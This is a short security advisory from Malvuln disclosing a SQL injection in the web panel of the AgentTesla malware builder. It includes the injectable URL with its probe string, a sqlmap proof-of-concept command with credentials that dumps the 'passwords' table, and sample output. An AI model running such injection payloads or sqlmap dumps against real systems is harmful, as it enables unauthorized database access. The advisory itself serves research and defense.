AgentTesla Builder Web Panel SQL Injection

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7eff7_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: AgentTesla Builder Web Panel  
Vulnerability: SQL Injection  
Description: The AgentTeslaBuilder WebUI uses ionCube to encode and protect its PHP code. However, the parameter 'table' is vulnerable to post-auth SQL Injection. Authenticated users can easily dump all databases, tables and contents including the MySQL database schema. Manually testing the panel I identified an SQL error probing the following URL /AgentTeslaBuilder/server_side/scripts/server_processing.php?table=%27HELL%20OR%201=1 which gave me "An SQL error occurred: SQLSTATE[42S02] Base table or view not found 1146 Table 'agenttesla.'hell or 1=1' doesn't exist" Then switched to use Sqlmap to do the heavy lifting.  
  
Database: agenttesla  
Table: passwords  
[1 entry]  
+--------+-------------+--------+---------+--------+---------+---------------------+---------+----------+---------------------+  
| hwid | password_id | pwd | host | status | client | time | pc_name | username | server_time |  
+--------+-------------+--------+---------+--------+---------+---------------------+---------+----------+---------------------+  
| 939394 | 1 | abc123 | x.x.x.x | 1 | windows | 2022-01-17 01:06:09 | tom | nubarr | 2022-01-17 01:06:09 |  
+--------+-------------+--------+---------+--------+---------+---------------------+---------+----------+---------------------+  
  
Type: WebUI  
MD5: db9629508fda139f71f625d764c7eff7 : "Agent Tesla.exe"  
MD5: 978509c2a3d051b43e53bba1436b7076 : "login.php"  
Vuln ID: MVID-2022-0455  
Disclosure: 01/16/2022  
  
Exploit/PoC:  
sqlmap.py -u "http://AGENT-TESLA-IP/AgentTeslaBuilder/server_side/scripts/server_processing.php?table=passwords --auth=admin:abc123" --dbms=MySQL --dump  
  
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